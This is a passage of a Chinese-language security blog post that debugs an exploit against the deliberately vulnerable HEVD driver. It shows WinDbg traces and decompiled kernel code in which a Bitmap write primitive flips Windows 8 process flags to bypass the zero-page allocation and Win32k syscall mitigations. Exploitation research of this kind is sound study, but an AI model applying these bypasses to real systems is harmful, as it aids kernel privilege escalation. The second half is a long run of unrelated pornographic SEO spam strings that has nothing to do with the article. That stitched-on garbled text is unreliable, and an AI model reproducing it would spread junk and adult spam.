  10.     ms_exc.registration.TryLevel = 0
  11.     v9 = v68;//傳遞地址值 
  12.     …… 
  13.     v12 = (unsigned int)*v9; //BaseAddress連續傳遞 
  14.     v74 = v12;//再次傳遞 
  15.     if ( v74 < 0x10000 && !(*(_DWORD *)(v14 + 196) & 0x1000000) )// 判斷v74 BaseAddress是否小于10000,如果小于會認為是零頁內存分配,則會判斷v14+196,也就是Flags.VdmAllowed是否允許分配 
  16.     { 
  17.        v25 = 0xC00000F0;//如果是零頁分配且禁用零頁分配,則返回C00000F0 
  18.        goto LABEL_145; 
  19.     } 

我們嘗試使用Bitmap來修改VdmAllowed看看能不能進行零頁分配,繼續執行到達我們setbitmap的地方。

  1. kd> g 
  2. Break instruction exception - code 80000003 (first chance) 
  3. 001b:00021d21 cc              int     3 
  4. kd> dt nt!_EPROCESS VdmAllowed 85a44040 
  5.    +0x0c4 VdmAllowed : 0y1 

可以看到VdmAllowed被改掉了,進入剛才的判斷

  1. kd> g 
  2. Breakpoint 1 hit 
  3. nt!NtAllocateVirtualMemory+0x9b7://判斷edx小于1000 
  4. 81a89b25 3bd0            cmp     edx,eax 
  5. kd> r edx 
  6. edx=00000060 
  7. kd> p 
  8. nt!NtAllocateVirtualMemory+0x9b9: 
  9. 81a89b27 0f8257781200    jb      nt! ?? ::NNGAKEGL::`string'+0x19d1a (81bb1384) 
  10. kd> p//判斷VdmAllowed為1,允許零頁申請 
  11. nt! ?? ::NNGAKEGL::`string'+0x19d1a: 
  12. 81bb1384 f787c400000000000001 test dword ptr [edi+0C4h],1000000h 
  13. kd> p 
  14. nt! ?? ::NNGAKEGL::`string'+0x19d24: 
  15. 81bb138e 0f859987edff    jne     nt!NtAllocateVirtualMemory+0x9bf (81a89b2d) 
  16. kd> p 
  17. nt!NtAllocateVirtualMemory+0x9bf://跳轉到正常流程,而不返回C0000F0 
  18. 81a89b2d 8bc6            mov     eax,esi 

可以看到,繞過了剛才的判斷,接下來直接執行,可以看到,NtAllocateVirtualMemory返回了STATUS_SUCCESS(圖)

http://p1.qhimg.com/t01b89afbe9d2ba5930.png

回歸Win8看防護之Win32k.sys

下面我們來看一下Win32k的API禁用的情況,當然這里默認Disallow的比特位也是為0,也就是在當前進程不禁用Win32k系統調用,在PsConvertToGuiThread函數中。

  1. kd> p 
  2. nt!PsConvertToGuiThread+0x9://獲得KTHREAD結構 
  3. 81b0c67f 648b3524010000  mov     esi,dword ptr fs:[124h] 
  4. kd> r esi 
  5. esi=8548b040 
  6. kd> dt nt!_KTHREAD 8548b040 
  7.    +0x000 Header           : _DISPATCHER_HEADER 
  8.    +0x010 SListFaultAddress : (null) 
  9. kd> p 
  10. nt!PsConvertToGuiThread+0x2c://ecx獲得EPROCESS結構 
  11. 81b0c6a2 8b8e80000000    mov     ecx,dword ptr [esi+80h] 
  12. kd> p 
  13. nt!PsConvertToGuiThread+0x32://對應Flags2的偏移 
  14. 81b0c6a8 f781c000000000000080 test dword ptr [ecx+0C0h],80000000h 
  15. kd> dt nt!_EPROCESS Flags2 8548b040+70 
  16.    +0x0c0 Flags2 : 0x1020201 
  17. kd> dt nt!_EPROCESS DisallowWin32kSystemCalls 
  18.    +0x0c0 DisallowWin32kSystemCalls : 0y0//判斷Disallow比特位的值 

這里DisallowWin32kSystemCalls的比特位為0,也就是允許win32k調用,這里到達一處條件判斷,判斷的就是這個比特位,如果為1,則會跳轉返回C0000005,當前狀態為0,允許執行時,會繼續執行。

  1. kd> p 
  2. nt!PsConvertToGuiThread+0x3c: 
  3. 81b0c6b2 757e            jne     nt!PsConvertToGuiThread+0xbc (81b0c732) 
  4. kd> p 
  5. nt!PsConvertToGuiThread+0x3e: 
  6. 81b0c6b4 8d55ff          lea     edx,[ebp-1] 

接下來,我們注釋掉還原的setbitmap部分,重新執行,看到Disallow比特位為1,這時候程序會進入錯誤處理,返回C0000022

  1. kd> dt nt!_EPROCESS DisallowWin32kSystemCalls 866654c0 
  2.    +0x0c0 DisallowWin32kSystemCalls : 0y1//對應比特位為1 
  3. kd> p 
  4. nt!PsConvertToGuiThread+0x32: 
  5. 81b0c6a8 f781c000000000000080 test dword ptr [ecx+0C0h],80000000h 
  6. //判斷Flags2.DisallowedWin32kSystemCalls 
  7. kd> p 
  8. nt!PsConvertToGuiThread+0x3c: 
  9. 81b0c6b2 757e            jne     nt!PsConvertToGuiThread+0xbc (81b0c732) 
  10. kd> p 
  11. nt!PsConvertToGuiThread+0xbc: 
  12. 81b0c732 b8220000c0      mov     eax,0C0000022h   //進入錯誤判斷,返回C0000022 

來看下這段代碼邏輯。

  1. signed int __stdcall PsConvertToGuiThread() 
  2.   v0 = __readfsdword(292);//獲取_KTHREAD結構體 
  3.   if ( *(_BYTE *)(v0 + 346) )//判斷_KTHREAD結構體的Previous Mode 
  4.   { 
  5.     if ( *(int **)(v0 + 60) == &KeServiceDescriptorTable )//檢查是否是win32的線程 
  6.     { 
  7.       v1 = *(_DWORD *)(v0 + 128); 
  8.       if ( *(_DWORD *)(v1 + 192) & 0x80000000 )//判斷DisallowedWin32kSystemCalls 
  9.       { 
  10.         result = 0xC000022;//返回C000022 STATUS_ACCESS_DENIED 
  11.       } 

整個Win32k的檢查過程是這樣的,KiFastCallEntry -> KiEndUnexpectRange -> PsCovertToGUIThread。這個檢查過程的依據是SSDT,系統調度表,當調用不在SSDT表時,也就是第一次調用Win32k System Call的時候,會檢查win32k是否允許調用。如下代碼邏輯:

  1. .text:00511652 loc_511652:                             ; CODE XREF: _KiEndUnexpectedRange+15j 
  2. .text:00511652                                         ; _KiSystemService+8Aj 
  3. .text:00511652                 mov     edi, eax ;eax = SSDTIndex 
  4. .text:00511654                 shr     edi, 8;eax/256 
  5. .text:00511657                 and     edi, 10h;//SSDT or SSDTShadow 
  6. .text:0051165A                 mov     ecx, edi 
  7. .text:0051165C          add     edi, [esi+3Ch];//檢查_KTHREAD->ServiceTable 
  8.                                 //kd> dt nt!_KTHREAD ServiceTable 
  9.                                 //+0x03c ServiceTable : Ptr32 Void 
  10. .text:0051165F                 mov     ebx, eax 
  11. .text:00511661                 and     eax, 0FFFh 
  12. .text:00511666                 cmp     eax, [edi+8];//檢查當前系統調用號 
  13. //和ServiceTable中的調用號,確定是不是在SSDT 
  14. .text:00511669                 jnb     _KiEndUnexpectedRange//如果不在,則跳轉 

在KiEndUnexpectedRange中會通過PsConvertToGuiThread來Check狀態,在這里會檢查win32k系統調用的情況,如果Flags2.DisAllowedWin32kSystemCalls為1,則禁用狀態,返回C000022 ,也就是STATUS_ACCESS_DENIED

  1. .text:00511384 _KiEndUnexpectedRange proc near         ; CODE XREF: _KiSystemService+19B_x0019_j 
  2. .text:00511384                 cmp     ecx, 10h 
  3. .text:00511387                 jnz     short loc_5113C3 
  4. .text:00511389                 push    edx 
  5. .text:0051138A                 push    ebx//系統調用號 
  6. .text:0051138B            call _PsConvertToGuiThread@0 ; PsConvertToGuiThread() 

默認是不啟用的,則能成功打開cmd。

[[185117]]

我們通過setbitmap可以將其改為啟用,這樣PsConvertToGuiThread就會返回C000022,則后續會造成調用CreateProcess中由于禁用win32k.sys導致程序加載失敗。

其實整個HEVD的這個exploit調試還是很有趣的,Bitmap也可以修改kernel Address達到一些比較巧妙的效果,當然,如果修改的地址有問題,則會直接BSOD,我就多次發生這樣的情況,快照保存了幾十個。文中有一些疑問和思考不夠深入的地方請師傅們多多批評指正,謝謝大家!

責任編輯:趙寧寧 來源: 安全客
相關推薦

2014-06-09 09:19:10

2013-05-23 10:48:14

EPATHOBJ 0d0day漏洞

2024-12-17 16:09:36

2010-11-29 14:05:29

2009-10-21 14:31:15

漏洞補丁

2010-08-09 09:09:18

2009-03-18 10:55:50

2017-01-15 23:46:37

2021-02-20 06:08:07

LinuxWindows內核

2023-09-11 06:59:59

2011-12-11 19:50:50

CodeJamWindowsPhon移動應用開發

2020-10-12 09:43:41

iOS 14漏洞蘋果

2012-01-04 13:08:30

2014-12-15 09:16:10

DockerDaoCloud鏡像部署

2022-02-14 21:58:58

netstatLinuxWindows

2015-03-13 10:06:55

2010-09-15 09:24:55

2025-11-13 09:39:01

2025-04-11 09:37:31

2022-03-10 09:41:15

漏洞Linux內核
點贊
收藏

51CTO技術棧公眾號

精品久久久无码中文字幕| 老司机精品免费视频| 少妇淫片在线影院| 国产精品色婷婷| 91偷拍精品一区二区三区| 国产精品成人aaaa在线| 狠狠综合久久av一区二区蜜桃| 欧美少妇xxx| 国产黄色片免费在线观看| 九色视频在线播放| 国产另类ts人妖一区二区| 欧美一级片一区| 999精品视频在线观看播放| 视频小说一区二区| 日韩一级视频免费观看在线| 东京热加勒比无码少妇| 亚洲色图美国十次| 国产午夜亚洲精品羞羞网站| 国产91精品入口17c| 久久久成人免费视频| 亚洲国产精品成人| 国产一区二区三区日韩欧美| 成人在线电影网站| 国产精品中文| 欧美午夜影院一区| 91九色在线观看视频| 最新国产露脸在线观看| 国产精品久线观看视频| 日产精品高清视频免费| 天堂在线资源网| 国产福利不卡视频| 成人在线一区二区| 中文字幕在线播放不卡| 三级不卡在线观看| 欧美一级视频免费在线观看| 国产无遮挡裸体免费视频| 999成人网| 中文字幕在线观看亚洲| 亚洲激情视频小说| 日韩理论电影中文字幕| 亚洲成人精品视频在线观看| 日韩大尺度视频| 韩国三级成人在线| 91精品啪在线观看国产60岁| 色播五月综合网| jizz欧美| 欧美日韩欧美一区二区| 天天干天天玩天天操| 久久伊人国产| 欧美日韩国产一级| 欧美女同在线观看| 97久久精品一区二区三区的观看方式| 欧美在线不卡一区| 九色91popny| 国产福利亚洲| 91精品中文字幕一区二区三区| www.久久av.com| 六九午夜精品视频| 51精品国自产在线| 亚洲成人激情小说| 国产一区在线电影| 精品一区精品二区| 日本xxxxxxxxx18| 成人黄色小视频| 北条麻妃在线一区二区| 国产三级国产精品国产国在线观看| 五月开心六月丁香综合色啪| 久久影院在线观看| 午夜偷拍福利视频| 国产麻豆综合| 国产日产欧美精品| av网站在线免费看| av欧美精品.com| 美日韩免费视频| jizz在线观看中文| 亚洲欧美电影院| www.xxx麻豆| 欧美xx视频| 欧美日韩国产片| 亚洲熟女乱综合一区二区| 噜噜噜天天躁狠狠躁夜夜精品| 亚洲精品中文字| 黄色片网站在线播放| 欧美另类女人| 国产99久久久欧美黑人| 在线观看不卡的av| 国产69精品久久久久777| 激情五月综合色婷婷一区二区| 国产精品一区二区三区四区色| 日韩码欧中文字| 337p亚洲精品色噜噜狠狠p| 涩涩视频在线免费看| 欧美精品黑人性xxxx| 精品1卡二卡三卡四卡老狼| 蜜臀av免费一区二区三区| 中文字幕一精品亚洲无线一区| 欧美日韩中文视频| 全部av―极品视觉盛宴亚洲| 成人高清在线观看| 国产经典自拍视频在线观看| 亚洲精品少妇30p| 毛片av免费在线观看| 玖玖玖视频精品| 亚洲网站在线播放| 国产亚洲成人精品| 免费久久99精品国产| 国产亚洲精品美女久久久m| 欧美r级在线| 欧美性猛交xxx| 亚洲一区二区三区三州| 精品av一区二区| 国内精品久久久久久| 国产又粗又猛又黄| 久久亚洲一级片| 美女扒开大腿让男人桶| 97久久中文字幕| 国产一区二区日韩| 亚洲精品国产精品乱码| 国产麻豆精品在线| 亚洲欧美电影在线观看| 咪咪网在线视频| 精品欧美乱码久久久久久1区2区| 网爆门在线观看| 视频一区欧美日韩| 精品视频第一区| 欧美人体视频xxxxx| 91精品国产色综合久久不卡电影| 亚洲ⅴ国产v天堂a无码二区| 美女尤物久久精品| 国内成+人亚洲| av电影院在线看| 欧美va亚洲va| 黄色一级视频免费| 国产精品99久久久久| 中文字幕av日韩精品| 久久亚洲精品爱爱| 伊人伊人伊人久久| 波多野结衣一区二区三区在线| wwwwxxxxx欧美| 亚洲熟妇av日韩熟妇在线| jazzjazz国产精品麻豆| 欧美日本高清视频| 亚洲第九十九页| 亚洲一区在线视频| 日本精品一二三| 红桃视频亚洲| 国产一级二级三级精品| av电影在线免费| 日韩av在线网站| 天堂中文字幕在线观看| xnxx国产精品| 欧美黄色一级片视频| 精品视频黄色| 国产精品免费电影| 日本高清中文字幕在线| 4438x成人网最大色成网站| 在线观看亚洲网站| 国产成人一区在线| 人妻夜夜添夜夜无码av| 欧美国产极品| 日本精品久久久久影院| 超碰免费在线| 欧美丰满少妇xxxbbb| 欧美三级免费看| 成人国产精品免费观看动漫| 欧美一区二区三区爽大粗免费| 欧美日韩123| 国产日韩精品在线观看| 91精品久久久久久粉嫩| 欧美精品一区二区三区很污很色的 | 欧美精品一区二区三区四区五区| 亚洲伊人av| 日韩一区二区欧美| 亚洲欧美高清视频| 在线观看av一区| 中文字幕电影av| 99久久婷婷国产精品综合| 北条麻妃在线一区| 亚洲欧美色图| 久久国产精品久久精品国产| h1515四虎成人| 欧美精品激情在线| 免费在线黄色网址| 91精品婷婷国产综合久久性色| 国产精品不卡av| 亚洲国产精品v| 精品无码av一区二区三区| 老牛嫩草一区二区三区日本| 免费在线观看污污视频| 老司机成人在线| 国产欧美精品久久久| 高潮在线视频| 日韩视频一区在线| 毛片网站在线| 精品国内二区三区| 一级爱爱免费视频| 精品毛片网大全| 色婷婷在线视频观看| 久久噜噜亚洲综合| 在线观看你懂的视频| 热久久免费视频| 丰满爆乳一区二区三区| 亚洲h色精品| 欧美一区二区三区在线播放| 一区中文字幕| 国产综合香蕉五月婷在线| 自拍在线观看| 久久久久五月天| 黄色在线视频网站| 一本色道久久88综合亚洲精品ⅰ | 日韩成人精品一区二区三区| 国产69精品久久久久9| 精品麻豆一区二区三区| 亚洲欧美激情另类校园| 人妻偷人精品一区二区三区| 欧美一区二区人人喊爽| 中文字幕欧美人妻精品| 狠狠躁18三区二区一区| 日本妇女毛茸茸| 国产精品伦理一区二区| 国产熟妇久久777777| 成人高清视频免费观看| 古装做爰无遮挡三级聊斋艳谭| 日韩精品成人一区二区三区 | 国产传媒在线观看| 欧美日韩不卡合集视频| 黄网站app在线观看| 色视频www在线播放国产成人| 天堂网在线观看视频| 精品国产伦一区二区三区观看方式 | 亚洲精品一卡二卡三卡四卡| 色哟哟精品丝袜一区二区| 国产综合动作在线观看| 牛牛精品成人免费视频| 国产尤物91| 黄色成人美女网站| 国产亚洲欧美一区二区三区| 久久精品亚洲成在人线av网址| 99国产视频| 一区二区三区欧洲区| 99久久免费国| jizz性欧美2| 国产三级精品在线不卡| 成人性生交大片免费看96| 国产手机精品在线| 色狼人综合干| 日本在线观看不卡| 欧美影院三区| 亚洲午夜在线观看| 永久91嫩草亚洲精品人人| 久久免费视频2| 欧美激情偷拍| 国产日韩亚洲欧美在线| 亚洲国产日韩在线| 国产肥臀一区二区福利视频| 美女久久网站| 亚洲一级免费观看| 激情综合色综合久久| 91视频免费入口| av一区二区三区黑人| 四虎国产精品成人免费入口| 欧美国产精品劲爆| 国产精品精品软件男同| 亚洲制服丝袜av| 国产成人精品片| 欧美伊人久久大香线蕉综合69| 一二三四区视频| 精品国产污污免费网站入口| 亚洲av成人无码久久精品老人| 国产香蕉一区二区三区在线视频 | 1区2区3区精品视频| 私库av在线播放| 黑人巨大精品欧美一区二区三区 | 精品欧美久久久| 视频福利在线| 久久精品视频免费播放| 福利小视频在线| 国产成人小视频在线观看| 亚洲黑人在线| 精品国产乱码久久久久软件| 精品无人区麻豆乱码久久久| 强开小嫩苞一区二区三区网站 | 一区二区三区在线观看视频| 亚洲综合一二三| 欧美色电影在线| 丰满人妻一区二区| 一区二区三区四区在线观看视频| av免费在线免费| 青草成人免费视频| 另类视频一区二区三区| 欧美xxxx黑人又粗又长密月| 五月激情综合| 欧美成人免费高清视频| 国产黄色91视频| 亚洲精品国产熟女久久久| 一区二区三区日韩欧美精品 | 激情都市亚洲| 147欧美人体大胆444| 国产成人1区| 久草免费福利在线| 久久激情综合网| 亚洲午夜久久久久久久久红桃| 亚洲欧美一区二区三区久本道91 | 欧美一级黄色大片| 国产在线视频网| 97久久精品国产| 日韩欧美激情电影| 婷婷亚洲婷婷综合色香五月| 日韩午夜av在线| 精品人妻一区二区三区免费| 国产片一区二区| 中文字幕在线字幕中文| 欧美一区二区福利在线| 9色在线观看| 国产成人精品午夜| 国产色噜噜噜91在线精品 | 久久久婷婷一区二区三区不卡| 欧美一区影院| 午夜不卡福利视频| 国产精品日日摸夜夜摸av| 亚洲 欧美 日韩 在线| 日韩av最新在线| 欧美精品videossex少妇| 成人网址在线观看| 日韩欧美视频| 国产三级三级看三级| 久久久高清一区二区三区| a v视频在线观看| 亚洲国产精品一区二区三区| 欧美人体视频xxxxx| a级国产乱理论片在线观看99| 91tv官网精品成人亚洲| www.com污| 亚洲日本一区二区| 国产日韩欧美一区二区东京热| 北条麻妃久久精品| 91成人小视频| 大桥未久一区二区| 国产成人激情av| 国产一级特黄视频| 亚洲高清一二三区| 大菠萝精品导航| 欧美不卡福利| 久久久xxx| 成年人视频软件| 制服丝袜成人动漫| 色屁屁www国产馆在线观看| www.成人三级视频| 亚洲激情一区| 我和岳m愉情xxxⅹ视频| 色94色欧美sute亚洲13| 成人福利在线| 国产免费一区视频观看免费| 国产精品88久久久久久| 性鲍视频在线观看| 亚洲五码中文字幕| 手机福利小视频在线播放| 日韩美女写真福利在线观看| 欧美日中文字幕| 婷婷中文字幕在线观看| 亚洲一区二区三区视频在线播放 | 日韩视频第二页| 日本一区二区三区久久久久久久久不 | 国产日韩精品一区观看| 先锋a资源在线看亚洲| 精品人妻中文无码av在线| 欧美日韩小视频| 午夜激情在线| 美日韩免费视频| 久久99国产精品久久99 | 99精品视频网| 国产一二三四五区| 91精品久久久久久久久99蜜臂| 手机在线免费av| 欧美久久久久久久| 久久99国产精品免费网站| 国产无遮挡裸体免费视频| 在线日韩精品视频| 最新国产精品精品视频| 红桃av在线播放| 亚洲日本乱码在线观看| 日韩精品视频无播放器在线看| 国产精品亚洲网站| 日韩视频一区二区三区在线播放免费观看| 97伦伦午夜电影理伦片| 91精品国产综合久久福利软件| 天堂在线中文网官网| 中文字幕黄色大片| 97精品超碰一区二区三区| 亚洲字幕av一区二区三区四区| 国内精品模特av私拍在线观看 | www.xxx麻豆| 中文字幕免费在线观看视频一区| 亚洲va欧美va| 国产精品久久中文| 中日韩视频在线观看| 国产suv精品一区二区68| 亚洲性日韩精品一区二区| 亚洲精品一区二区三区在线| 国产理论在线播放|